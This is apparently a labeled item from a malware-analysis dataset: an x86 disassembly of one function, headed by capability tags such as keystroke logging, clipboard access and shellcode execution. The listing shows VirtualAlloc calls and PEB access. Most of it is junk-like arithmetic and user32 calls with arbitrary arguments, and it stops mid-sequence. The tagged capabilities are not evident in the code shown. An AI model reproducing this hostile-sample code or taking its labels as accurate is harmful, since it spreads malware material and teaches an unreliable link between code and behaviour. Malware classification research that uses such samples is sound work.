Function at 0x4011fa
Capabilities:
Execute shellcode via indirect call
Get graphical window text
Get number of processors
Log keystrokes
Open clipboard
Parse pe header

Disassembly:
call 0x401231
add byte [eax], al
popal
inc edx
add byte [eax], al
inc esp
dec eax
add byte [0x67006300], dh
add byte [eax], al
add byte [eax], al
imul eax, dword [eax], 0x674c67
add byte [eax + 0x37], dl
dec edx
push edi
push ebp
dec eax
push ecx
push ecx
push ebp
add byte [eax], al
cmp dword [ecx], esp
add byte [edx], cl
dec esp
dec ecx
push edi
add byte [eax], al
ja 0x401230
dec esi
dec edx
add esi, ebx
push ebp
not ecx
mov ebp, esp
sub esp, 0x34
sub edx, edx
xor eax, eax
mov eax, 0x200
sub dword [ebp - 0x24], 2
lea edx, [ebp - 0x1c]
or dword [ebp - 0x1c], 0xffffff
mov ecx, 0x12c
mov cx, 8
cmp ecx, dword [ebp - 0x28]
je 0x40126f
xor edx, edx
or dword [ebp - 0x24], 0xff00ff
cmp ecx, 0
ja 0x40126f
or dword [ebp - 0x18], 0xffff
mov ecx, 0x12c
and dword [ebp - 0x24], 0xff
and dword [ebp - 0x24], 0xffff
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x28], ecx
jb 0x40129c
sub eax, eax
test eax, eax
jb 0x40129c
mov ecx, 8
mov cx, 1
mov dword [ebp - 0x20], ecx
mov ecx, 0
or dword [ebp - 0x28], 0xff00ff
xor eax, eax
or dword [ebp - 0x18], 0xffff
mov ecx, 0
mov dword [ebp - 0x18], ecx
mov ecx, 4
cmp ecx, 0x5d
jae 0x4012e0
xor eax, eax
xor dword [ebp - 0x24], 0xffffff
xor eax, eax
or dword [ebp - 0x28], 0xff00ff
mov cx, 0x31
mov dword [ebp - 0x24], ecx
mov ecx, 0x57
mov edx, dword [ebp - 0x2c]
mov edx, 0x1f
sub dword [ebp - 0x20], 0x21
cmp dword [ebp - 0x24], edx
je 0x401303
mov ecx, 0x64
cmp ecx, dword [ebp - 0x20]
jb 0x401303
mov edx, dword [ebp - 0x28]
cmp dword [ebp - 0x18], edx
jne 0x40131a
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x2c], 0xff00ff
cmp dword [ebp - 0x20], eax
jae 0x40131a
xor eax, eax
and dword [ebp - 0x28], 0xffff
add dword [ebp - 0x24], 0x51
sub dword [ebp - 0x1c], 8
xor edx, edx
cmp eax, 0x1a
jae 0x40133c
mov edx, dword [ebp - 0x2c]
and dword [ebp - 0x2c], 0xff
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov ax, 0x74
xor dword [ebp - 0x2c], 0xffff
cmp eax, 0
ja 0x401369
sub ecx, ecx
and dword [ebp - 0x28], 0xff00ff
mov cx, 0x69
and dword [ebp - 0x28], 0xff00ff
xor edx, edx
mov ecx, dword [ebp - 0x20]
sub eax, eax
sub dword [ebp - 0x20], 0x1b
xor ecx, ecx
or dword [ebp - 0x28], 0xff
and dword [ebp - 0x20], 0xffff
mov dword [ebp - 0x18], 0x3f
xor eax, eax
mov edx, dword [ebp - 0x18]
cmp edx, 0
jne 0x4013a7
xor ecx, ecx
mov ecx, 0x74
lea ecx, [ebp - 0x28]
cmp edx, 0x90b
ja 0x4013a7
sub edx, edx
mov eax, 1
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x28], 0xffff
sub edx, edx
mov edx, pe_nt_image_headers32
test edx, edx
je 0x4013ce
xor ecx, ecx
add dword [ebp - 0x28], 0x47
cmp ecx, 0
je 0x4013ce
xor dword [ebp - 0x18], 0xff
mov dword [ebp - 0x1c], 0x7f
mov ecx, 0xc8
sub dword [ebp - 0x1c], 0x10
sub ecx, ecx
mov ax, 0x7a
cmp ecx, 0x6ff
jb 0x40140e
and dword [ebp - 0x28], 0xff
mov eax, pe_nt_image_headers32
and dword [ebp - 0x1c], 0xff00ff
sub dword [ebp - 0x1c], 0x10
add dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x18]
xor eax, eax
xor eax, eax
add dword [ebp - 0x20], 0x20
xor eax, eax
test eax, eax
jne 0x401430
xor ecx, ecx
sub dword [ebp - 0x18], 5
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x28], eax
cmp eax, dword [ebp - 0x18]
ja 0x401430
sub eax, eax
mov edx, dword [ebp - 0x24]
mov dx, 0x40
or dword [ebp - 0x20], 0xffff
and dword [ebp - 0x24], 0xff
mov dword [ebp - 0x28], edx
or dword [ebp - 0x18], 0xff
and dword [ebp - 0x20], 0xffffff
cmp edx, dword [ebp - 0x20]
jne 0x401477
sub eax, eax
mov eax, 0x5a
mov dword [ebp - 0x24], edx
or dword [ebp - 0x24], 0xffff
mov eax, 8
add dword [ebp - 0x28], 0x62
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], eax
cmp eax, 0x63
jae 0x401493
xor edx, edx
and dword [ebp - 0x2c], 0xffffff
cmp eax, 0
je 0x401493
mov edx, 0x300
sub dword [ebp - 0x24], 0x7c
or dword [ebp - 0x2c], 0xffff
and dword [ebp - 0x2c], 0xff00ff
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x28], edx
add dword [ebp - 0x2c], 8
mov eax, 0x64
sub eax, eax
cmp dword [ebp - 0x20], eax
ja 0x4014d6
mov ecx, 0
add dword [ebp - 0x1c], 0x80
cmp eax, 0x5f8
jne 0x4014d6
xor ecx, ecx
or dword [ebp - 0x2c], 0xffffff
mov dword [ebp - 0x1c], 0x20
mov eax, 0
sub eax, eax
sub dword [ebp - 0x28], 0xb
mov edx, 2
sub edx, edx
sub dword [ebp - 0x1c], 4
xor eax, eax
mov ax, 0x31
xor edx, edx
xor edx, edx
sub dword [ebp - 0x18], 0x3a
mov ecx, dword [ebp - 0x1c]
or dword [ebp - 0x24], 0xff
mov dword [ebp - 0x24], ecx
sub dword [ebp - 0x2c], 0x14
sub edx, edx
mov dword [ebp - 0x28], edx
mov dx, 0x4f
add dword [ebp - 0x2c], 2
cmp edx, 0xf7
ja 0x401546
mov eax, 0
and dword [ebp - 0x24], 0xffffff
mov dword [ebp - 0x24], 0x6f
mov edx, 0x3b
mov ecx, 0x300
mov cx, 0xf
xor ecx, ecx
sub dword [ebp - 0x28], 0x10
cmp ecx, 0
jbe 0x40156b
xor edx, edx
mov dx, 0x6d
sub ecx, ecx
mov cx, 0x64
cmp ecx, 0
jne 0x40156b
mov dword [ebp - 0x28], edx
mov eax, 0x200
mov edx, dword [ebp - 0x20]
xor eax, eax
mov edx, 0xc8
mov dword [ebp - 0x1c], 0x5b
mov eax, dword [ebp - 0x18]
mov edx, 0
xor dword [ebp - 0x1c], 0xffff
and dword [ebp - 0x18], 0xffffff
add dword [ebp - 0x20], 0x74
cmp edx, 0xf3
je 0x4015aa
sub eax, eax
sub edx, edx
add dword [ebp - 0x18], 0x27
sub edx, edx
mov dword [ebp - 0x28], 0x20
mov dx, 0x1e
mov edx, 0x2b
test edx, edx
ja 0x4015d8
mov eax, 0x12c
add dword [ebp - 0x24], 0x5a
add dword [ebp - 0x1c], 0x80
test eax, eax
jb 0x4015d8
xor eax, eax
xor edx, edx
xor eax, eax
sub eax, eax
mov edx, dword [ebp - 0x20]
sub edx, edx
mov eax, 0x12c
sub dword [ebp - 0x24], 0x80
sub ecx, ecx
lea eax, [ebp - 0x18]
add dword [ebp - 0x20], 0x28
cmp eax, 0
je 0x401608
sub ecx, ecx
and dword [ebp - 0x28], 0xffffff
mov ecx, 0x12c
or dword [ebp - 0x1c], 0xffff
or dword [ebp - 0x18], 0xffffff
sub dword [ebp - 0x20], 0x10
cmp ecx, dword [ebp - 0x1c]
jb 0x401631
mov edx, 0x64
cmp ecx, 0xbbc
jne 0x401631
mov dword [ebp - 0x2c], ecx
xor dword [ebp - 0x24], 0xff00ff
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], ecx
mov cx, 0x62
xor eax, eax
add dword [ebp - 0x18], 2
mov eax, dword [ebp - 0x20]
sub dword [ebp - 0x24], 0x1a
sub edx, edx
or dword [ebp - 0x18], 0xff
lea eax, [ebp - 0x1c]
cmp eax, 0
jae 0x40166a
xor edx, edx
xor eax, eax
lea eax, [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub ecx, ecx
and dword [ebp - 0x18], 0xff
xor dword [ebp - 0x20], 0xff00ff
mov eax, 2
mov dword [ebp - 0x2c], 2
or dword [ebp - 0x18], 0xff
sub eax, eax
mov ax, 0x80
mov dword [ebp - 0x28], eax
and dword [ebp - 0x28], 0xffffff
or dword [ebp - 0x20], 0xffff
cmp eax, 0
je 0x4016bc
mov ecx, 0
sub ecx, ecx
cmp ecx, dword [ebp - 0x20]
ja 0x4016bc
xor eax, eax
and dword [ebp - 0x24], 0xffff
mov edx, dword [ebp - 0x24]
sub ecx, ecx
sub ecx, ecx
xor dword [ebp - 0x24], 0xff00ff
mov edx, 0x200
and dword [ebp - 0x1c], 0xffffff
lea ecx, [ebp - 0x24]
mov ecx, 0x20
mov eax, 0x64
sub eax, eax
lea eax, [ebp - 0x24]
cmp eax, 0
jbe 0x40170f
mov ecx, 0x300
or dword [ebp - 0x2c], 0xffffff
add dword [ebp - 0x28], 0x37
and dword [ebp - 0x28], 0xff
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
mov eax, 1
test eax, eax
jbe 0x40172b
mov edx, 0x300
lea edx, [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
jae 0x40172b
mov ecx, 0xc8
mov ecx, 1
mov dword [ebp - 0x2c], 0x28
sub edx, edx
mov ecx, dword [ebp - 0x1c]
mov ecx, 0x20
mov ecx, 3
mov dword [ebp - 0x1c], ecx
xor edx, edx
xor edx, edx
and dword [ebp - 0x20], 0xff00ff
sub dword [ebp - 0x2c], 2
add dword [ebp - 0x18], 0xb
mov ecx, dword [ebp - 0x28]
mov cx, 2
cmp ecx, 0
je 0x40176f
xor edx, edx
mov dword [ebp - 0x20], ecx
mov ecx, 0
mov edx, 0
sub dword [ebp - 0x1c], 0x20
xor eax, eax
sub dword [ebp - 0x28], 3
and dword [ebp - 0x2c], 0xffffff
xor ecx, ecx
xor edx, edx
or dword [ebp - 0x28], 0xffff
xor edx, edx
cmp dword [ebp - 0x24], edx
jb 0x4017a8
xor ecx, ecx
sub ecx, ecx
cmp dword [ebp - 0x24], edx
jb 0x4017a8
mov edx, pe_nt_image_headers32
sub dword [ebp - 0x2c], 0x40
sub dword [ebp - 0x1c], 0x78
cmp edx, 0
jb 0x4017cf
or dword [ebp - 0x1c], 0xff
mov ecx, dword [ebp - 0x1c]
sub dword [ebp - 0x2c], 8
and dword [ebp - 0x24], 0xffff
xor eax, eax
mov dword [ebp - 0x24], eax
xor dword [ebp - 0x24], 0xff
xor ecx, ecx
mov dword [ebp - 0x20], 0x74
mov eax, dword [ebp - 0x24]
and dword [ebp - 0x2c], 0xffff
xor eax, eax
test eax, eax
jb 0x401802
xor edx, edx
and dword [ebp - 0x24], 0xff
cmp dword [ebp - 0x24], eax
jne 0x401802
xor ecx, ecx
lea ecx, [ebp - 0x20]
test ecx, ecx
jb 0x401811
xor eax, eax
test ecx, ecx
jae 0x401811
mov edx, 0xc8
sub edx, edx
mov ax, 0x3c
sub dword [ebp - 0x18], 0x10
cmp edx, 0
jae 0x401832
sub eax, eax
or dword [ebp - 0x24], 0xff00ff
test edx, edx
ja 0x401832
mov dword [ebp - 0x18], edx
sub edx, edx
mov edi, dword [sym.imp.KERNEL32.DLL_GetACP]
call edi
mov esi, dword [esp]
mov edi, dword [esp]
mov edi, dword [esp]
mov dword [ebp - 0x1c], edx
mov eax, 0xe8
mov edi, 0x80
lea edi, [ebp - 0x1c]
mov edx, 0x80
sub dword [ebp - 0x28], 0xaa00aa
xor dword [ebp - 0x20], 0xaa
mov eax, dword [ebp]
mov edi, dword [ebp - 0x24]
xor dword [ebp - 0x1c], 0xee
mov edi, dword [ebp]
mov ecx, edx
sub dword [ebp - 0x28], 0x77770077
mov dword [ebp - 0x20], eax
mov si, 0x40
lea esi, [ebp]
or dword [ebp - 0x18], 0xcc0000cc
lea ecx, [ebp - 0x2c]
xor dword [ebp - 0x20], 0x990099
sub dword [ebp - 0x2c], 0x66666666
lea edi, [esp]
mov ecx, dword [esp]
or dword [ebp - 0x2c], 0xffff00ff
and dword [ebp - 0x24], 0xaa0000aa
mov si, 4
or dword [ebp - 0x24], 0x66006666
mov eax, dword [ebp]
lea edi, [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov eax, dword [esp]
mov ax, 0x40
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp]
lea eax, [ebp]
mov dword [ebp - 0x18], edi
mov edi, 0x3f
lea ecx, [esp]
or dword [ebp - 0x1c], 0x9999
lea ecx, [esp]
or dword [ebp - 0x18], 0xee0000ee
mov esi, dword [ebp - 0x1c]
sub eax, eax
lea edi, [esp]
lea eax, [ebp - 0x20]
lea eax, [esp]
sub esi, esi
sub dword [ebp - 0x20], 0x4444
mov dword [ebp - 0x28], esi
and dword [ebp - 0x2c], 0x9999
lea eax, [ebp]
mov edi, dword [ebp]
and dword [ebp - 0x20], 0x44
mov ecx, 0x75
mov edi, dword [ebp - 0x1c]
lea edx, [ebp - 0x24]
lea edi, [esp]
and dword [ebp - 0x28], 0x22000022
and dword [ebp - 0x18], 0xbb0000bb
or dword [ebp - 0x28], 0x330033
sub esi, esi
lea edi, [ebp]
lea ecx, [ebp]
push 4
push 8
push 0x4000
push 0x1000
push 0
mov edi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call edi
lea edi, [esp]
mov edx, 1
mov edi, dword [esp]
mov esi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp]
mov edi, dword [ebp - 0x1c]
mov ecx, 8
and dword [ebp - 0x18], 0x66006666
lea esi, [ebp]
or dword [ebp - 0x1c], 0xff00ffff
and dword [ebp - 0x18], 0x66666666
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x18]
mov ecx, eax
xor dword [ebp - 0x1c], 0x555555
mov eax, 2
mov edi, dword [esp]
lea edx, [esp]
add dword [ebp - 0x2c], 0x55
mov dword [ebp - 0x28], 1
lea edi, [ebp]
mov esi, dword [ebp]
mov dword [ebp - 0x20], esi
mov dx, 4
mov cx, 0x20
lea edi, [ebp]
mov esi, dword [esp]
push dword fs:[0x30]
push 2
push 0x2000
push 0xb00
push 0
mov edi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call edi
mov edi, edx
mov eax, 1
mov eax, dword [esp]
mov ecx, edi
lea edi, [ebp]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edi
mov ecx, dword [ebp]
and dword [ebp - 0x2c], 0x555555
mov dword [ebp - 0x24], 0xab
sub dword [ebp - 0x24], 0x220022
or dword [ebp - 0x1c], 0x880088
and dword [ebp - 0x24], 0x44
and dword [ebp - 0x24], 0xbb00bb
and dword [ebp - 0x1c], 0x3333
xor dword [ebp - 0x28], 0x66000066
mov eax, dword [ebp]
add dword [ebp - 0x18], 0xbb
mov eax, dword [ebp]
and dword [ebp - 0x2c], 0x77777777
mov esi, dword [ebp]
lea edi, [esp]
add dword [ebp - 0x28], 0xdd0000dd
sub esi, esi
lea edi, [ebp - 0x2c]
lea edi, [esp]
mov ecx, 1
xor edx, edx
mov esi, edx
sub dword [ebp - 0x24], 0xaaaaaaaa
sub dword [ebp - 0x3c], 0x11e8d
mov edi, dword [sym.imp.KERNEL32.DLL_GetACP]
call edi
lea esi, [esp]
lea ecx, [ebp]
mov edx, 8
mov dx, 0x85
mov eax, dword [ebp - 0x20]
mov ecx, 0x40
mov edx, dword [ebp]
mov esi, dword [esp]
lea esi, [esp]
lea ecx, [ebp - 0x18]
and dword [ebp - 0x18], 0xffff00ff
lea ecx, [ebp]
lea esi, [ebp - 0x1c]
lea edx, [esp]
lea edi, [esp]
or dword [ebp - 0x18], 0xcc00cc
and dword [ebp - 0x2c], 0xbbbb
mov ecx, dword [ebp - 0x2c]
lea edi, [ebp - 0x2c]
xor dword [ebp - 0x1c], 0x77000077
lea esi, [ebp]
or dword [ebp - 0x24], 0x55555555
mov eax, 0x53
add dword [ebp - 0x18], 0xaa00aa
lea eax, [ebp - 0x1c]
xor dword [ebp - 0x20], 0x66666666
mov edx, edi
and dword [ebp - 0x20], 0xbb
lea ecx, [ebp]
mov edi, dword [ebp - 0x20]
mov di, 0xce
and dword [ebp - 0x2c], 0x44
or dword [ebp - 0x1c], 0xbbbb
lea edi, [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_IsBadHugeReadPtr]
test eax, eax
je 0x4031ec
push 0x2e
push 0x65
push ecx
call dword [sym.imp.user32.dll_SendMessageA]
push 0x1c
push 0x7c
lea edi, [ebp - 0x1c]
push edi
push 0x6e
push eax
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x2d
push eax
call dword [sym.imp.user32.dll_LoadIconA]
push 0x7d
push 0x52
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x48
push 0x63
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x3f
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.user32.dll_RedrawWindow]
lea edi, [ebp - 0x18]
push edi
push 0x4d
push edi
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x21
push 0xc
push 0x30
push eax
call dword [sym.imp.user32.dll_SendMessageW]
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.user32.dll_LoadBitmapA]
push 0x2a
lea edx, [ebp - 0x1c]
push edx
push 0x57
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x31
lea edx, [ebp - 0x24]
push edx
push 0x65
push eax
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x60
push 0x4d
push eax
call dword [sym.imp.user32.dll_OffsetRect]
push 0x47
lea ecx, [ebp - 0x24]
push ecx
push edx
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x3c
push 0x44
push 0x4d
call dword [sym.imp.user32.dll_SendMessageW]
push 0x58
push 0x38
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.user32.dll_OemToCharA]
push 3
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x4f
lea eax, [ebp - 0x18]
push eax
push 0x40
push edi
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x66
push 0x5a
lea eax, [ebp - 0x18]
push eax
push 0x17
push esi
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x6f
lea edx, [ebp - 0x24]
push edx
push 0x62
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x5b
push 0x23
push 0x6a
push 0xa
call dword [sym.imp.user32.dll_OpenClipboard]
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.user32.dll_LoadCursorA]
push 0x77
push 6
push 0x30
push 0x79
call dword [sym.imp.user32.dll_SendMessageA]
push 0x70
push 0x5f
lea edi, [ebp - 0x20]
push edi
push 0x65
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x6a
call dword [sym.imp.user32.dll_SendMessageA]
push 0x50
push 0x61
push 0x5d
push ecx
call dword [sym.imp.user32.dll_PostMessageA]
push 0x5f
push esi
call dword [sym.imp.user32.dll_ReleaseCapture]
lea edi, [ebp - 0x2c]
push edi
push 0x79
call dword [sym.imp.user32.dll_SendMessageA]
push 0x4e
push 0x79
push 0x62
push edi
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0xa
lea esi, [ebp - 0x28]
push esi
push 0x47
push edx
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x4b
push 0x51
push 0x3c
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x40
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x71
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x5a
push 0x73
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0xe
lea ecx, [ebp - 0x18]
push ecx
push 0x76
push eax
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x1a
push 0x48
push edi
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0xa
lea esi, [ebp - 0x1c]
push esi
push 0x75
push esi
call dword [sym.imp.user32.dll_OemToCharA]
push 0x1e
push 0x4c
push 0x1f
call dword [sym.imp.user32.dll_PtInRect]
push 0x31
push 0x76
lea edi, [ebp - 0x20]
push edi
push 0x2e
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x7e
push 0x3d
push 0x7e
call dword [sym.imp.user32.dll_RegisterClassA]
lea ecx, [ebp - 0x20]
push ecx
push 0x78
push edi
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x77
lea ecx, [ebp - 0x1c]
push ecx
push ecx
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x77
push 0x21
push ecx
call dword [sym.imp.user32.dll_MessageBeep]
push 9
push 0x33
push 0x43
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x47
push 0x43
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x3a
lea edi, [ebp - 0x18]
push edi
push 0x73
push 0x53
push edx
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x7e
push 0xd
lea edi, [ebp - 0x2c]
push edi
push 0x1b
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x40
lea edi, [ebp - 0x1c]
push edi
push 0x3b
call dword [sym.imp.user32.dll_RemoveMenu]
push 0x43
push eax
call dword [sym.imp.user32.dll_LoadStringA]
lea ecx, [ebp - 0x2c]
push ecx
push 0x76
push esi
call dword [sym.imp.user32.dll_MessageBeep]
push 0x4c
push 0x31
push edx
call dword [sym.imp.user32.dll_OemToCharA]
push 0x53
call dword [sym.imp.user32.dll_LoadCursorA]
push 0x34
call dword [sym.imp.user32.dll_SendMessageW]
push 0x32
push 0x67
call dword [sym.imp.user32.dll_LoadCursorA]
push 0x66
push 0x2c
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x22
lea edi, [ebp - 0x24]
push edi
push 0x12
push 0x57
call dword [sym.imp.user32.dll_RegisterClassA]
push 0x35
push 0x6b
call dword [sym.imp.user32.dll_ReleaseDC]
lea edi, [ebp - 0x18]
push edi
push 0x29
push edi
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x11
push 0x28
push edi
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x40
push 0x71
push 0x38
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x52
lea edi, [ebp - 0x18]
push edi
push ecx
call dword [sym.imp.user32.dll_LoadBitmapA]
push 0x76
push 0x58
lea esi, [ebp - 0x24]
push esi
push ecx
call dword [sym.imp.user32.dll_RegisterClassA]
push 8
push 0x17
push 0x55
call dword [sym.imp.user32.dll_OffsetRect]
lea esi, [ebp - 0x20]
push esi
push 0x60
call dword [sym.imp.user32.dll_RegisterClassA]
lea edi, [ebp - 0x18]
push edi
push edx
call dword [sym.imp.user32.dll_RedrawWindow]
push 7
lea ecx, [ebp - 0x2c]
push ecx
push 0x4e
call dword [sym.imp.user32.dll_ScreenToClient]
push 2
push 0x37
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.user32.dll_LoadStringA]
push 0x7b
call dword [sym.imp.user32.dll_RegisterClassA]
push 0x25
push 0x38
lea edx, [ebp - 0x20]
push edx
push 0x3e
push edi
call dword [sym.imp.user32.dll_LoadBitmapA]
push 0x51
push 0x51
lea edi, [ebp - 0x24]
push edi
push 0x23
call dword [sym.imp.user32.dll_PostMessageA]
push 0x17
push 0x4e
lea eax, [ebp - 0x18]
push eax
push 0x5d
push edx
call dword [sym.imp.user32.dll_OffsetRect]
push 0xb
lea eax, [ebp - 0x18]
push eax
push eax
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x3f
lea edx, [ebp - 0x20]
push edx
push 0x38
push 0xf
call dword [sym.imp.user32.dll_MessageBeep]
push 0x41
push 0x3e
push 0x59
push ecx
call dword [sym.imp.user32.dll_OffsetRect]
push 0x5b
lea ecx, [ebp - 0x18]
push ecx
push 0x55
call dword [sym.imp.user32.dll_RedrawWindow]
push 0xf
lea esi, [ebp - 0x18]
push esi
push 7
push 0x75
push esi
call dword [sym.imp.user32.dll_SendMessageW]
push 0x10
push 0x56
push 0x13
push ecx
call dword [sym.imp.user32.dll_RegisterClassA]
push 0x3d
lea eax, [ebp - 0x20]
push eax
push 0x4f
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x55
push 0x4a
push 0x3d
push esi
call dword [sym.imp.user32.dll_LoadBitmapA]
push 0x39
lea edi, [ebp - 0x28]
push edi
push 0x67
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push edi
call dword [sym.imp.user32.dll_RemovePropA]
push 0x3b
push esi
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x18
push edi
call dword [sym.imp.user32.dll_SendMessageA]
push 0x77
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.user32.dll_PostMessageA]
push 0xb
push 0x4f
push 0x64
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x6d
push 0x29
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x5c
push 0x2d
lea esi, [ebp - 0x20]
push esi
push 0x33
push ecx
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x2b
push esi
call dword [sym.imp.user32.dll_RemoveMenu]
push 0x40
push 0x4c
push esi
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x18
push 0x6b
push 0x78
push 0x17
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x60
push 0x28
push 0x38
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x70
push 0x31
push 0x22
push edx
call dword [sym.imp.user32.dll_PtInRect]
push 0x33
push 0x75
push edi
call dword [sym.imp.user32.dll_RedrawWindow]
lea ecx, [ebp - 0x2c]
push ecx
push 0x58
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x4b
push 0x68
lea ecx, [ebp - 0x1c]
push ecx
push 0x5f
call dword [sym.imp.user32.dll_RegisterClassA]
push 0x2d
lea ecx, [ebp - 0x2c]
push ecx
push 0x53
push esi
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x25
push 0x62
lea esi, [ebp - 0x18]
push esi
push 0x2f
push 0x27
call dword [sym.imp.user32.dll_RemovePropA]
push 0x4a
lea esi, [ebp - 0x18]
push esi
push 0x79
push edx
call dword [sym.imp.user32.dll_LoadCursorA]
push 0xb
call dword [sym.imp.user32.dll_MapVirtualKeyA]
lea edi, [ebp - 0x28]
push edi
push edi
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x48
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.user32.dll_RemoveMenu]
push 0
lea eax, [ebp - 0x1c]
push eax
push 7
push esi
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x6f
lea edx, [ebp - 0x28]
push edx
push 0x4f
push 0x72
call dword [sym.imp.user32.dll_ScreenToClient]
push 1
push 0x4b
push ecx
call dword [sym.imp.user32.dll_ScreenToClient]
push 0xd
push 0x2c
push 0x18
push edi
call dword [sym.imp.user32.dll_PtInRect]
push 0x31
push 0x64
push 0x41
push esi
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x28
push 0x16
lea eax, [ebp - 0x2c]
push eax
push 0xa
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x6e
push 3
push 0x3c
push 0x1b
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x34
lea edi, [ebp - 0x1c]
push edi
push 0x66
push eax
call dword [sym.imp.user32.dll_PostMessageA]
push 0x30
push 0x6d
push 0x65
push edi
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x1d
push 0x42
push 0x70
push 6
push edi
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x23
push eax
call dword [sym.imp.user32.dll_SendMessageW]
push 0x26
lea edi, [ebp - 0x1c]
push edi
push 0x59
push 0x48
push edi
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 5
push 8
push 0x53
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x64
lea edi, [ebp - 0x28]
push edi
push 0x68
push 0x16
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x2c
lea esi, [ebp - 0x20]
push esi
push 0x39
push 0x36
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x56
push 0x65
push edx
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x64
call dword [sym.imp.user32.dll_RemoveMenu]
push 0x4c
lea esi, [ebp - 0x28]
push esi
push 0x73
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x75
push 0x6c
push 5
push esi
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x55
push 0x65
push esi
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x58
push 5
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x1d
lea eax, [ebp - 0x2c]
push eax
push 0xd
push 0x3d
push edi
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x7f
push 0x34
call dword [sym.imp.user32.dll_LoadCursorA]
push 0x16
push 0x7e
lea edi, [ebp - 0x18]
push edi
push 0x67
push esi
call dword [sym.imp.user32.dll_OffsetRect]
push 0x3a
push 0x3d
lea eax, [ebp - 0x2c]
push eax
push 0x5c
push edi
call dword [sym.imp.user32.dll_OpenClipboard]
lea esi, [ebp - 0x28]
push esi
push 0x42
push eax
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 8
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x38
push 0x20
lea eax, [ebp - 0x24]
push eax
push edx
